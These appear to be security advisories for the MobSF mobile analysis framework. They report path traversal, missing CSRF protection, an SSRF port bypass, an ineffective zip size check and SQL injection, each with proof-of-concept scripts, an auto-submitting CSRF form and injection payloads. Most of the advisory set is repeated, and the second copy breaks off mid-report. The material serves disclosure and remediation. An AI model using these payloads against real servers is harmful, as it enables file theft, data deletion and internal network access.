Summary

The find_icon_path_zip() function in MobSF does not properly sanitize the android:icon attribute extracted from an Android manifest before resolving it as a filesystem path.

An attacker can supply a malicious android:icon value containing path traversal sequences, causing MobSF to read arbitrary files from the server filesystem and copy them into the downloads directory (DWD_DIR). These files can then be retrieved by any authenticated user via the /download/<filename> endpoint, provided the file extension is included in ALLOWED_EXTENSIONS.

Details

elif icon_path.startswith(('res/', '/res/')):
    stripped_relative_path = icon_path.strip('/res')  # Works for neither /res nor res
    full_path = os.path.join(res_dir, stripped_relative_path)
    if os.path.exists(full_path):
        return full_path
    full_path += '.png'
    if os.path.exists(full_path):
        return full_path

https://github.com/MobSF/Mobile-Security-Framework-MobSF/blob/6e875fb77baa9dbe65ff8e7d0344d740e1d6d51e/mobsf/StaticAnalyzer/views/android/icon_analysis.py#L126

This code enables path traversal if a value like 'res/../../../signatures/maltrail-malware-domains.txt' is used as the icon path. This path will resolve to outside the scan directory, and the file will eventually be copied into DWD_DIR/<md5>-icon.<ext>:

icon_file = find_icon_path_zip(
        app_dic['md5'],
        res_path,
        icon_from_mfst)
    if icon_file and Path(icon_file).exists():
        dwd = Path(settings.DWD_DIR)
        out = dwd / (app_dic['md5'] + '-icon' + Path(icon_file).suffix)
        copy2(icon_file, out)
        app_dic['icon_path'] = out.name

https://github.com/MobSF/Mobile-Security-Framework-MobSF/blob/6e875fb77baa9dbe65ff8e7d0344d740e1d6d51e/mobsf/StaticAnalyzer/views/android/icon_analysis.py#L101

Because the output filename is derived from the MD5 hash of the uploaded archive (which the attacker can compute locally for his own ZIP), the attacker can deterministically retrieve the file via: GET /download/<md5>-icon.<ext>

PoC

The following script generates a malicious ZIP archive that exploits this issue by referencing an arbitrary file on the server (maltrail-malware-domains.txt):

import hashlib
import io
import zipfile

DEFAULT_HOST = "http://localhost:8000"
DEFAULT_TARGET = "res/../../../signatures/maltrail-malware-domains.txt"

MANIFEST_TEMPLATE = """\
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
    package="com.poc.icontraversal">
    <application android:icon="{target}"
                 android:label="PoC App">
        <activity android:name=".MainActivity">
            <intent-filter>
                <action android:name="android.intent.action.MAIN"/>
                <category android:name="android.intent.category.LAUNCHER"/>
            </intent-filter>
        </activity>
    </application>
</manifest>
"""

MAIN_ACTIVITY = """\
package com.poc.icontraversal;
import android.app.Activity;
public class MainActivity extends Activity {}
"""

host = DEFAULT_HOST
target = DEFAULT_TARGET
host = host.rstrip("/")

# crate ZIP
buf = io.BytesIO()
with zipfile.ZipFile(buf, "w", zipfile.ZIP_DEFLATED) as zf:
    zf.writestr("AndroidManifest.xml", MANIFEST_TEMPLATE.format(target=target))
    zf.writestr("src/com/poc/icontraversal/MainActivity.java", MAIN_ACTIVITY)
    zf.writestr("res/drawable/placeholder.png", b"\x89PNG\r\n\x1a\n")

# compute hash
zip_bytes = buf.getvalue()
md5 = hashlib.md5(zip_bytes).hexdigest()

# write to disk
out_file = "poc_icon_traversal.zip"
with open(out_file, "wb") as f:
    f.write(zip_bytes)

import os
target_suffix = os.path.splitext(target.strip("/res").split("/")[-1])[1]
download_filename = f"{md5}-icon{target_suffix}"

print(f"[+] ZIP created : {os.path.abspath(out_file)}")
print(f"[+] Target file : {target}")
print()
print("[ Step 1 ] Upload the ZIP manually via the MobSF web UI")
print()
print("[ Step 2 ] Wait for the scan to complete, then browse to:")
print(f"    {host}/download/{download_filename}")

Impact

This vulnerability allows an attacker with scan permissions to read files from the server filesystem outside the intended scan directory, as long as the target file has an extension in ALLOWED_EXTENSIONS. This can expose internal server files that are otherwise inaccessible through any legitimate endpoint. Additionally, this behavior enables a file existence oracle for any file path regardless of extension - the attacker can infer whether a file exists by checking the icon_path field in the scan report (if the target does not exist the path will be empty).

Depending on the deployment, this may expose sensitive configuration files, internal data, or security artifacts.

Remediation

This can fixed by using the is_path_traversal function to validate user input.

Summary

Django's CsrfViewMiddleware exists only in the deprecated MIDDLEWARE_CLASSES (ignored since Django 2.0). The active MIDDLEWARE tuple does not include it. All authenticated web POST endpoints (delete scan, upload, download APK, change password, manage users) accept requests without CSRF tokens.

Verified Impact

This was verified by actually deleting a real scan from the running server using only a session cookie — no CSRF token was required:

$ curl -s -b cookies.txt -X POST "http://127.0.0.1:8000/delete_scan/" \
    -d "md5=68e76627798d62555d5287f4488a32c7&scan_type=apk"
{"deleted": "yes"}

The scan was removed from the database. This attack works from any website via HTML form auto-submission because:

• No CSRF token is validated (middleware absent)
• Cookie SameSite=Lax allows form-based top-level navigation to send the session cookie

Affected Component

File: mobsf/MobSF/settings.py (Lines 206-212)

MIDDLEWARE = (
    'mobsf.MobSF.views.api.api_middleware.RestApiAuthMiddleware',
    'django.contrib.sessions.middleware.SessionMiddleware',
    'django.contrib.auth.middleware.AuthenticationMiddleware',
    'django.contrib.messages.middleware.MessageMiddleware',
    # MISSING: 'django.middleware.csrf.CsrfViewMiddleware'
)

Steps to Reproduce

1. Start MobSF v4.4.6 and log in at http://127.0.0.1:8000/login/ (creds: mobsf/mobsf).

2. Upload and scan any APK to create a scan entry. Note the MD5 hash from "Recent Scans".

3. Open the following HTML file in the same browser (simulates visiting attacker's page):

<!DOCTYPE html>
<html>
<head><title>Innocent Page</title></head>
<body>
<h1>Loading...</h1>
<form id="f" method="POST" action="http://127.0.0.1:8000/delete_scan/">
  <input type="hidden" name="md5" value="PUT_REAL_MD5_HASH_HERE" />
  <input type="hidden" name="scan_type" value="apk" />
</form>
<script>document.getElementById('f').submit();</script>
</body>
</html>

4. The scan is deleted. Navigate back to MobSF "Recent Scans" to confirm it's gone.

Why This Is Not a Self-Bug

• The attack requires a victim user who is logged in to visit an attacker-controlled page
• The attacker crafts the form targeting the victim's MobSF instance
• All destructive POST endpoints are affected: /delete_scan/, /upload/, /download_scan/, /change_password/, /create_user/, /delete_user/
• This matches the pattern of previously accepted MobSF advisories (e.g., GHSA-5jc6-h9w7-jm3p, GHSA-8m9j-2f32-2vx4)

Remediation

Add 'django.middleware.csrf.CsrfViewMiddleware' to the active MIDDLEWARE tuple.

Summary

MobSF's Android App Link assetlinks checker validates only the manifest android:host value with valid_host(), but then appends the separate android:port value into the URL used for the server-side request. This bypasses the current port restriction in valid_host() and lets a crafted APK cause MobSF to fetch http://host:<attacker-port>/.well-known/assetlinks.json or https://host:<attacker-port>/.well-known/assetlinks.json.

Impact

An authenticated user who can upload or trigger analysis of a crafted APK can cause the MobSF server to make an outbound request to an attacker-selected port during Android manifest analysis. When the host is controlled by the attacker and uses DNS rebinding, the validation lookup can resolve to a public IP while the later HTTP client lookup resolves to an internal address, allowing SSRF to internal services on non-80/443 ports.

This is not arbitrary URL SSRF. The path remains fixed to /.well-known/assetlinks.json, and redirects are disabled. The bypass is that the final fetched URL is assembled after the host-only validation, so the current port guard is not applied to the actual URL.

Root cause

valid_host() rejects ports other than 80 and 443 when a port is included in the string being validated:

port = parsed.port
...
if port and port not in (80, 443):
    return False

In get_browsable_activities(), only the host attribute is passed to valid_host():

host = data.getAttribute(f'{ns}:host')
port = data.getAttribute(f'{ns}:port')
...
if not valid_host(host):
    logger.warning('Invalid Host: %s', host)
    continue
shost = f'{scheme}://{host}'
if port and is_number(port):
    c_url = f'{shost}:{port}{WELL_KNOWN_PATH}'
else:
    c_url = f'{shost}{WELL_KNOWN_PATH}'
well_known[c_url] = shost

_check_url() then fetches the assembled URL after checking only path, query, and params:

purl = urlparse(url)
if (purl.path != WELL_KNOWN_PATH
    or len(purl.query) > 0
        or len(purl.params) > 0):
    logger.warning('Invalid Assetlinks URL: %s', url)
    continue
r = requests.get(url,
                 timeout=5,
                 allow_redirects=False,
                 proxies=proxies,
                 verify=verify)

Reproduction

Use an Android manifest with a browsable App Link data tag that has a benign-looking host and a restricted port:

<activity android:name=".DeepLink" android:exported="true">
  <intent-filter>
    <action android:name="android.intent.action.VIEW" />
    <category android:name="android.intent.category.BROWSABLE" />
    <category android:name="android.intent.category.DEFAULT" />
    <data android:scheme="http" android:host="rebind.example" android:port="22" />
  </intent-filter>
</activity>

A safe local proof with DNS and HTTP monkeypatching shows that MobSF validates only rebind.example, then fetches a URL that preserves the unchecked port:

well_known map: {'http://rebind.example:22/.well-known/assetlinks.json': 'http://rebind.example'}
requests.get calls: [('http://rebind.example:22/.well-known/assetlinks.json', {'timeout': 5, 'allow_redirects': False, 'proxies': None, 'verify': True})]
findings: [{'url': 'http://rebind.example:22/.well-known/assetlinks.json', 'host': 'http://rebind.example', 'status_code': 200, 'status': True}]
VULNERABLE: valid_host validated only rebind.example, but assetlinks_check fetched unchecked port 22 via http://rebind.example:22/.well-known/assetlinks.json

The same code pattern is present in latest release v4.4.6 and current main.

Remediation

Validate the final URL after all manifest components have been applied. In particular:

1. Build c_url, then run validation on the full URL, including scheme, hostname, port, path, query, and params.
2. Reject android:port values other than 80 and 443 before appending them to the URL.
3. Prevent DNS rebinding by pinning the validated DNS result to the outbound connection or otherwise ensuring the actual HTTP request cannot resolve to a different address than the validation step.
4. Keep allow_redirects=False for the existing redirect mitigation.

Summary

When extracting uploaded ZIP/APK files, MobSF checks if individual files exceed ZIP_MAX_UNCOMPRESSED_FILE_SIZE (400 MB) and logs "Skipping" — but the code lacks a continue statement, so extraction proceeds anyway. The log message is misleading; the file is still written to disk.

Verified Impact (Code Audit)

The vulnerable code path in shared_func.py lines 153–182:

# Line 156: Size check
if fileinfo.file_size > settings.ZIP_MAX_UNCOMPRESSED_FILE_SIZE:
    size_mb = fileinfo.file_size / (1024 * 1024)
    msg = (f'File too large ({size_mb:.2f} MB). Skipping '
           f'{sanitize_for_logging(file_path)}')
    logger.warning(msg)
    # ← BUG: No 'continue' here! Execution falls through.

# Line 161: Total size check (separate)
if total_size > settings.ZIP_MAX_UNCOMPRESSED_TOTAL_SIZE:
    raise Exception(msg)

# Line 171-178: Permission fixing (only dirs get 'continue')
if fileinfo.is_dir():
    continue
else:
    fileinfo.external_attr = ...

# Line 182: EXTRACTION ALWAYS HAPPENS FOR FILES
try:
    zipptr.extract(file_path, ext_path)   # ← Runs regardless of size check

The control flow is clear: after the size check logs "Skipping", no continue or break is issued. The code proceeds to line 182 which extracts the file unconditionally.

Steps to Reproduce

1. Create a ZIP/APK with a file exceeding 400 MB (zeros compress very well):

#!/usr/bin/env python3
import zipfile, tempfile, os

output = tempfile.mktemp(suffix='.apk')
with zipfile.ZipFile(output, 'w', zipfile.ZIP_DEFLATED) as zf:
    zf.writestr('AndroidManifest.xml', '<manifest package="com.poc"/>')
    # 450 MB file (exceeds 400 MB limit) — compresses to ~KB
    info = zipfile.ZipInfo('assets/huge.bin')
    info.compress_type = zipfile.ZIP_DEFLATED
    with zf.open(info, 'w') as f:
        for _ in range(450):
            f.write(b'\x00' * (1024 * 1024))  # 1 MB at a time

print(f"Created: {output} ({os.path.getsize(output)} bytes compressed)")

2. Upload via API:

curl -X POST http://127.0.0.1:8000/api/v1/upload \
  -H "X-Mobsf-Api-Key: YOUR_KEY" \
  -F "file=@poc.apk"

3. Trigger scan, then verify:

# Log says "Skipping" but file exists on disk:
grep "File too large" ~/.MobSF/debug.log
ls -la ~/.MobSF/uploads/HASH/assets/huge.bin  # 450 MB file is there

Why This Is Not a Self-Bug

• This affects any user who scans a maliciously crafted APK
• The APK could come from a legitimate-looking package submitted for security review
• Matches the pattern of GHSA-c5vg-26p8-q8cr (Zip bomb DoS, affected <=4.3.2) — that advisory fixed the total size limit but this per-file bypass persists
• Impact: disk exhaustion preventing further scans for other users

Remediation

Add continue after the size warning:

if fileinfo.file_size > settings.ZIP_MAX_UNCOMPRESSED_FILE_SIZE:
    size_mb = fileinfo.file_size / (1024 * 1024)
    msg = (f'File too large ({size_mb:.2f} MB). Skipping '
           f'{sanitize_for_logging(file_path)}')
    logger.warning(msg)
    continue  # ← ADD THIS LINE

Description

MobSF's read_sqlite() function in mobsf/MobSF/utils.py (lines 542-566) uses Python string formatting (%) to construct SQL queries with table names read from a SQLite database's sqlite_master table. When a security analyst uses MobSF to analyze a malicious mobile application containing a crafted SQLite database, attacker-controlled table names are interpolated directly into SQL queries without parameterization or escaping.

This allows an attacker to:

1. Cause Denial of Service -- A malicious table name causes the database viewer to crash, preventing the analyst from viewing ANY data in the SQLite database. A malicious app can use this to hide sensitive data (C2 server URLs, stolen credentials, API keys) from MobSF's analysis.

2. Achieve SQL Injection -- The SELECT * FROM query on line 557 is provably injectable via UNION SELECT, allowing attacker-controlled data to be returned in query results. The current code structure (a PRAGMA statement that runs first on line 553) limits the full exploitation chain, but the underlying code is verifiably injectable.

Root Cause

The vulnerable code in mobsf/MobSF/utils.py:542-566:

def read_sqlite(sqlite_file):
    """Sqlite Dump - Readable Text."""
    table_dict = {}
    try:
        con = sqlite3.connect(sqlite_file)
        cur = con.cursor()
        cur.execute('SELECT name FROM sqlite_master WHERE type=\'table\';')
        tables = cur.fetchall()
        for table in tables:
            table_dict[table[0]] = {'head': [], 'data': []}
            cur.execute('PRAGMA table_info(\'%s\')' % table)    # <-- INJECTION POINT 1
            rows = cur.fetchall()
            for sq_row in rows:
                table_dict[table[0]]['head'].append(sq_row[1])
            cur.execute('SELECT * FROM \'%s\'' % table)         # <-- INJECTION POINT 2
            rows = cur.fetchall()
            for sq_row in rows:
                tmp_row = []
                for each_row in sq_row:
                    tmp_row.append(str(each_row))
                table_dict[table[0]]['data'].append(tmp_row)
    except Exception:
        logger.exception('Reading SQLite db')
    return table_dict

Lines 553 and 557 use % string formatting to interpolate table (a tuple from sqlite_master) directly into SQL strings. The table value is attacker-controlled when the SQLite database originates from a malicious application being analyzed.

Attack Vector

The read_sqlite() function is called from two locations:

1. Dynamic Analysis File Viewer (mobsf/DynamicAnalyzer/views/common/device.py:64):

   • Triggered when an analyst clicks to view a .db file in device data
   • Applies to both Android and iOS dynamic analysis

2. iOS Static Analysis File Viewer (mobsf/StaticAnalyzer/views/ios/views/view_source.py:123):

   • Triggered when an analyst clicks to view a .db file during iOS static analysis

Attack Scenario

1. Attacker creates a malicious Android APK (or iOS IPA) containing a SQLite database with a crafted table name in the assets/ directory
2. The SQLite database contains a table created with:

   CREATE TABLE "x' UNION SELECT 'SQL_INJECTION_PROOF'--" (id INTEGER);
   

3. Security analyst uploads the application to MobSF for analysis
4. Analyst browses the extracted files and clicks to view the SQLite database
5. MobSF's read_sqlite() reads table names from sqlite_master, including the malicious name x' UNION SELECT 'SQL_INJECTION_PROOF'--
6. The table name is interpolated into SQL queries via string formatting:
   • PRAGMA table_info('x' UNION SELECT 'SQL_INJECTION_PROOF'--') -- causes syntax error (DoS)
   • SELECT * FROM 'x' UNION SELECT 'SQL_INJECTION_PROOF'--' -- SQL injection (UNION SELECT returns attacker data)

Impact

Denial of Service (Confirmed)

When the malicious table name is the first table in sqlite_master (i.e., created first in the database), the PRAGMA statement on line 553 raises a sqlite3.OperationalError, which is caught by the outer try/except. This causes read_sqlite() to return an empty or partial result, preventing the analyst from viewing any database content.

Security impact: A malicious app author can use this technique to hide incriminating data stored in SQLite databases from MobSF's analysis. This directly undermines MobSF's core purpose as a security analysis tool.

SQL Injection (Confirmed in Isolation)

The SELECT * FROM query on line 557 is demonstrably injectable. When the malicious table name x' UNION SELECT 'SQL_INJECTION_PROOF'-- is interpolated, the resulting query:

SELECT * FROM 'x' UNION SELECT 'SQL_INJECTION_PROOF'--'

Successfully executes and returns attacker-controlled data via UNION SELECT. The -- comments out the trailing single quote. This is verified by the PoC script.

Note: In the current code structure, the PRAGMA table_info() statement on line 553 runs before the SELECT * FROM on line 557. The PRAGMA fails with a syntax error for injected payloads, which triggers the exception handler before the SELECT can execute. This limits the full exploitation chain. However, the code flaw is real and any future refactoring that changes the execution order or removes the PRAGMA would immediately expose the full SQL injection.

Proof of Concept

Files Provided(Gdrive)

| File | Description | |------|-------------| | poc_sqlite_injection.py | Standalone PoC demonstrating the vulnerability | | malicious.db | Crafted SQLite database (generated by PoC) | | create_malicious_apk.sh | Script to package the malicious DB into an APK | | malicious_sqli.apk | Pre-built APK for testing against MobSF |

https://drive.google.com/drive/folders/1mNGkFfNowkaZ5J018HFi4IQcnjKaWCym?usp=sharing

Running the PoC

# Run the standalone PoC (no MobSF required)
python3 poc_sqlite_injection.py

# Build the malicious APK (requires Android SDK)
./create_malicious_apk.sh

# Test against MobSF
# 1. Start MobSF
# 2. Upload malicious_sqli.apk
# 3. Browse extracted files -> click app_data.db
# 4. Observe: database viewer fails (DoS)

PoC Output (Abbreviated)

[STEP 2] Running MobSF's read_sqlite() against malicious database...
    [!] EXCEPTION CAUGHT: OperationalError: near "UNION": syntax error
    [!] DoS CONFIRMED: read_sqlite() crashed

[STEP 3] Demonstrating SELECT * FROM injection in isolation...
    Query: SELECT * FROM 'x' UNION SELECT 'SQL_INJECTION_PROOF'--'
    [+] Query executed successfully!
    [+] Results: [('SQL_INJECTION_PROOF',), ('normal_data',)]
    [+] SQL INJECTION CONFIRMED

[STEP 4] Complete DoS (malicious table created first):
    Tables with data: NONE
    [!] COMPLETE DoS CONFIRMED

Suggested Fix

Replace string formatting with properly quoted identifiers. SQLite uses double quotes for identifiers:

def read_sqlite(sqlite_file):
    """Sqlite Dump - Readable Text."""
    table_dict = {}
    try:
        con = sqlite3.connect(sqlite_file)
        cur = con.cursor()
        cur.execute('SELECT name FROM sqlite_master WHERE type=\'table\';')
        tables = cur.fetchall()
        for table in tables:
            table_name = table[0]
            # Properly escape table name as a double-quoted identifier
            safe_name = table_name.replace('"', '""')
            table_dict[table_name] = {'head': [], 'data': []}
            cur.execute(f'PRAGMA table_info("{safe_name}")')
            rows = cur.fetchall()
            for sq_row in rows:
                table_dict[table_name]['head'].append(sq_row[1])
            cur.execute(f'SELECT * FROM "{safe_name}"')
            rows = cur.fetchall()
            for sq_row in rows:
                tmp_row = []
                for each_row in sq_row:
                    tmp_row.append(str(each_row))
                table_dict[table_name]['data'].append(tmp_row)
    except Exception:
        logger.exception('Reading SQLite db')
    return table_dict

This escapes any double quotes within table names by doubling them (" → ""), which is the standard SQL mechanism for identifier quoting. This prevents breakout from the double-quoted identifier context.

Resources

• CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
• OWASP SQL Injection: https://owasp.org/www-community/attacks/SQL_Injection
• Affected File: mobsf/MobSF/utils.py, lines 542-566

Summary

The find_icon_path_zip() function in MobSF does not properly sanitize the android:icon attribute extracted from an Android manifest before resolving it as a filesystem path.

An attacker can supply a malicious android:icon value containing path traversal sequences, causing MobSF to read arbitrary files from the server filesystem and copy them into the downloads directory (DWD_DIR). These files can then be retrieved by any authenticated user via the /download/<filename> endpoint, provided the file extension is included in ALLOWED_EXTENSIONS.

Details

elif icon_path.startswith(('res/', '/res/')):
    stripped_relative_path = icon_path.strip('/res')  # Works for neither /res nor res
    full_path = os.path.join(res_dir, stripped_relative_path)
    if os.path.exists(full_path):
        return full_path
    full_path += '.png'
    if os.path.exists(full_path):
        return full_path

https://github.com/MobSF/Mobile-Security-Framework-MobSF/blob/6e875fb77baa9dbe65ff8e7d0344d740e1d6d51e/mobsf/StaticAnalyzer/views/android/icon_analysis.py#L126

This code enables path traversal if a value like 'res/../../../signatures/maltrail-malware-domains.txt' is used as the icon path. This path will resolve to outside the scan directory, and the file will eventually be copied into DWD_DIR/<md5>-icon.<ext>:

icon_file = find_icon_path_zip(
        app_dic['md5'],
        res_path,
        icon_from_mfst)
    if icon_file and Path(icon_file).exists():
        dwd = Path(settings.DWD_DIR)
        out = dwd / (app_dic['md5'] + '-icon' + Path(icon_file).suffix)
        copy2(icon_file, out)
        app_dic['icon_path'] = out.name

https://github.com/MobSF/Mobile-Security-Framework-MobSF/blob/6e875fb77baa9dbe65ff8e7d0344d740e1d6d51e/mobsf/StaticAnalyzer/views/android/icon_analysis.py#L101

Because the output filename is derived from the MD5 hash of the uploaded archive (which the attacker can compute locally for his own ZIP), the attacker can deterministically retrieve the file via: GET /download/<md5>-icon.<ext>

PoC

The following script generates a malicious ZIP archive that exploits this issue by referencing an arbitrary file on the server (maltrail-malware-domains.txt):

import hashlib
import io
import zipfile

DEFAULT_HOST = "http://localhost:8000"
DEFAULT_TARGET = "res/../../../signatures/maltrail-malware-domains.txt"

MANIFEST_TEMPLATE = """\
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
    package="com.poc.icontraversal">
    <application android:icon="{target}"
                 android:label="PoC App">
        <activity android:name=".MainActivity">
            <intent-filter>
                <action android:name="android.intent.action.MAIN"/>
                <category android:name="android.intent.category.LAUNCHER"/>
            </intent-filter>
        </activity>
    </application>
</manifest>
"""

MAIN_ACTIVITY = """\
package com.poc.icontraversal;
import android.app.Activity;
public class MainActivity extends Activity {}
"""

host = DEFAULT_HOST
target = DEFAULT_TARGET
host = host.rstrip("/")

# crate ZIP
buf = io.BytesIO()
with zipfile.ZipFile(buf, "w", zipfile.ZIP_DEFLATED) as zf:
    zf.writestr("AndroidManifest.xml", MANIFEST_TEMPLATE.format(target=target))
    zf.writestr("src/com/poc/icontraversal/MainActivity.java", MAIN_ACTIVITY)
    zf.writestr("res/drawable/placeholder.png", b"\x89PNG\r\n\x1a\n")

# compute hash
zip_bytes = buf.getvalue()
md5 = hashlib.md5(zip_bytes).hexdigest()

# write to disk
out_file = "poc_icon_traversal.zip"
with open(out_file, "wb") as f:
    f.write(zip_bytes)

import os
target_suffix = os.path.splitext(target.strip("/res").split("/")[-1])[1]
download_filename = f"{md5}-icon{target_suffix}"

print(f"[+] ZIP created : {os.path.abspath(out_file)}")
print(f"[+] Target file : {target}")
print()
print("[ Step 1 ] Upload the ZIP manually via the MobSF web UI")
print()
print("[ Step 2 ] Wait for the scan to complete, then browse to:")
print(f"    {host}/download/{download_filename}")

Impact

This vulnerability allows an attacker with scan permissions to read files from the server filesystem outside the intended scan directory, as long as the target file has an extension in ALLOWED_EXTENSIONS. This can expose internal server files that are otherwise inaccessible through any legitimate endpoint. Additionally, this behavior enables a file existence oracle for any file path regardless of extension - the attacker can infer whether a file exists by checking the icon_path field in the scan report (if the target does not exist the path will be empty).

Depending on the deployment, this may expose sensitive configuration files, internal data, or security artifacts.

Remediation

This can fixed by using the is_path_traversal function to validate user input.

Summary

Django's CsrfViewMiddleware exists only in the deprecated MIDDLEWARE_CLASSES (ignored since Django 2.0). The active MIDDLEWARE tuple does not include it. All authenticated web POST endpoints (delete scan, upload, download APK, change password, manage users) accept requests without CSRF tokens.

Verified Impact

This was verified by actually deleting a real scan from the running server using only a session cookie — no CSRF token was required:

$ curl -s -b cookies.txt -X POST "http://127.0.0.1:8000/delete_scan/" \
    -d "md5=68e76627798d62555d5287f4488a32c7&scan_type=apk"
{"deleted": "yes"}

The scan was removed from the database. This attack works from any website via HTML form auto-submission because:

• No CSRF token is validated (middleware absent)
• Cookie SameSite=Lax allows form-based top-level navigation to send the session cookie

Affected Component

File: mobsf/MobSF/settings.py (Lines 206-212)

MIDDLEWARE = (
    'mobsf.MobSF.views.api.api_middleware.RestApiAuthMiddleware',
    'django.contrib.sessions.middleware.SessionMiddleware',
    'django.contrib.auth.middleware.AuthenticationMiddleware',
    'django.contrib.messages.middleware.MessageMiddleware',
    # MISSING: 'django.middleware.csrf.CsrfViewMiddleware'
)

Steps to Reproduce

1. Start MobSF v4.4.6 and log in at http://127.0.0.1:8000/login/ (creds: mobsf/mobsf).

2. Upload and scan any APK to create a scan entry. Note the MD5 hash from "Recent Scans".

3. Open the following HTML file in the same browser (simulates visiting attacker's page):

<!DOCTYPE html>
<html>
<head><title>Innocent Page</title></head>
<body>
<h1>Loading...</h1>
<form id="f" method="POST" action="http://127.0.0.1:8000/delete_scan/">
  <input type="hidden" name="md5" value="PUT_REAL_MD5_HASH_HERE" />
  <input type="hidden" name="scan_type" value="apk" />
</form>
<script>document.getElementById('f').submit();</script>
</body>
</html>

4. The scan is deleted. Navigate back to MobSF "Recent Scans" to confirm it's gone.

Why This Is Not a Self-Bug

• The attack requires a victim user who is logged in to visit an attacker-controlled page
• The attacker crafts the form targeting the victim's MobSF instance
• All destructive POST endpoints are affected: /delete_scan/, /upload/, /download_scan/, /change_password/, /create_user/, /delete_user/
• This matches the pattern of previously accepted MobSF advisories (e.g., GHSA-5jc6-h9w7-jm3p, GHSA-8m9j-2f32-2vx4)

Remediation

Add 'django.middleware.csrf.CsrfViewMiddleware' to the active MIDDLEWARE tuple.

Summary

MobSF's Android App Link assetlinks checker validates only the manifest android:host value with valid_host(), but then appends the separate android:port value into the URL used for the server-side request. This bypasses the current port restriction in valid_host() and lets a crafted APK cause MobSF to fetch http://host:<attacker-port>/.well-known/assetlinks.json or https://host:<attacker-port>/.well-known/assetlinks.json.

Impact

An authenticated user who can upload or trigger analysis of a crafted APK can cause the MobSF server to make an outbound request to an attacker-selected port during Android manifest analysis. When the host is controlled by the attacker and uses DNS rebinding, the validation lookup can resolve to a public IP while the later HTTP client lookup resolves to an internal address, allowing SSRF to internal services on non-80/443 ports.

This is not arbitrary URL SSRF. The path remains fixed to /.well-known/assetlinks.json, and redirects are disabled. The bypass is that the final fetched URL is assembled after the host-only validation, so the current port guard is not applied to the actual URL.

Root cause

valid_host() rejects ports other than 80 and 443 when a port is included in the string being validated:

port = parsed.port
...
if port and port not in (80, 443):
    return False

In get_browsable_activities(), only the host attribute is passed to valid_host():

host = data.getAttribute(f'{ns}:host')
port = data.getAttribute(f'{ns}:port')
...
if not valid_host(host):
    logger.warning('Invalid Host: %s', host)
    continue
shost = f'{scheme}://{host}'
if port and is_number(port):
    c_url = f'{shost}:{port}{WELL_KNOWN_PATH}'
else:
    c_url = f'{shost}{WELL_KNOWN_PATH}'
well_known[c_url] = shost

_check_url() then fetches the assembled URL after checking only path, query, and params:

purl = urlparse(url)
if (purl.path != WELL_KNOWN_PATH
    or len(purl.query) > 0
        or len(purl.params) > 0):
    logger.warning('Invalid Assetlinks URL: %s', url)
    continue
r = requests.get(url,
                 timeout=5,
                 allow_redirects=False,
                 proxies=proxies,
                 verify=verify)

Reproduction

Use an Android manifest with a browsable App Link data tag that has a benign-looking host and a restricted port:

<activity android:name=".DeepLink" android:exported="true">
  <intent-filter>
    <action android:name="android.intent.action.VIEW" />
    <category android:name="android.intent.category.BROWSABLE" />
    <category android:name="android.intent.category.DEFAULT" />
    <data android:scheme="http" android:host="rebind.example" android:port="22" />
  </intent-filter>
</activity>

A safe local proof with DNS and HTTP monkeypatching shows that MobSF validates only rebind.example, then fetches a URL that preserves the unchecked port:

well_known map: {'http://rebind.example:22/.well-known/assetlinks.json': 'http://rebind.example'}
requests.get calls: [('http://rebind.example:22/.well-known/assetlinks.json', {'timeout': 5, 'allow_redirects': False, 'proxies': None, 'verify': True})]
findings: [{'url': 'http://rebind.example:22/.well-known/assetlinks.json', 'host': 'http://rebind.example', 'status_code': 200, 'status': True}]
VULNERABLE: valid_host validated only rebind.example, but assetlinks_check fetched unchecked port 22 via http://rebind.example:22/.well-known/assetlinks.json

The same code pattern is present in latest release v4.4.6 and current main.

Remediation

Validate the final URL after all manifest components have been applied. In particular:

1. Build c_url, then run validation on the full URL, including scheme, hostname, port, path, query, and params.
2. Reject android:port values other than 80 and 443 before appending them to the URL.
3. Prevent DNS rebinding by pinning the validated DNS result to the outbound connection or otherwise ensuring the actual HTTP request cannot resolve to a different address than the validation step.
4. Keep allow_redirects=False for the existing redirect mitigation.

Summary

When extracting uploaded ZIP/APK files, MobSF checks if individual files exceed ZIP_MAX_UNCOMPRESSED_FILE_SIZE (400 MB) and logs "Skipping" — but the code lacks a continue statement, so extraction proceeds anyway. The log message is misleading; the file is still written to disk.

Verified Impact (Code Audit)

The vulnerable code path in shared_func.py lines 153–182:

# Line 156: Size check
if fileinfo.file_size > settings.ZIP_MAX_UNCOMPRESSED_FILE_SIZE:
    size_mb = fileinfo.file_size / (1024 * 1024)
    msg = (f'File too large ({size_mb:.2f} MB). Skipping '
           f'{sanitize_for_logging(file_path)}')
    logger.warning(msg)
    # ← BUG: No 'continue' here! Execution falls through.

# Line 161: Total size check (separate)
if total_size > settings.ZIP_MAX_UNCOMPRESSED_TOTAL_SIZE:
    raise Exception(msg)

# Line 171-178: Permission fixing (only dirs get 'continue')
if fileinfo.is_dir():
    continue
else:
    fileinfo.external_attr = ...

# Line 182: EXTRACTION ALWAYS HAPPENS FOR FILES
try:
    zipptr.extract(file_path, ext_path)   # ← Runs regardless of size check

The control flow is clear: after the size check logs "Skipping", no continue or break is issued. The code proceeds to line 182 which extracts the file unconditionally.

Steps to Reproduce

1. Create a ZIP/APK with a file exceeding 400 MB (zeros compress very well):

#!/usr/bin/env python3
import zipfile, tempfile, os

output = tempfile.mktemp(suffix='.apk')
with zipfile.ZipFile(output, 'w', zipfile.ZIP_DEFLATED) as zf:
    zf.writestr('AndroidManifest.xml', '<manifest package="com.poc"/>')
    # 450 MB file (exceeds 400 MB limit) — compresses to ~KB
    info = zipfile.ZipInfo('assets/huge.bin')
    info.compress_type = zipfile.ZIP_DEFLATED
    with zf.open(info, 'w') as f:
        for _ in range(450):
            f.write(b'\x00' * (1024 * 1024))  # 1 MB at a time

print(f"Created: {output} ({os.path.getsize(output)} bytes compressed)")

2. Upload via API:

curl -X POST http://127.0.0.1:8000/api/v1/upload \
  -H "X-Mobsf-Api-Key: YOUR_KEY" \
  -F "file=@poc.apk"

3. Trigger scan, then verify:

# Log says "Skipping" but file exists on disk:
grep "File too large" ~/.MobSF/debug.log
ls -la ~/.MobSF/uploads/HASH/assets/huge.bin  # 450 MB file is there

Why This Is Not a Self-Bug

• This affects any user who scans a maliciously crafted APK
• The APK could come from a legitimate-looking package submitted for security review
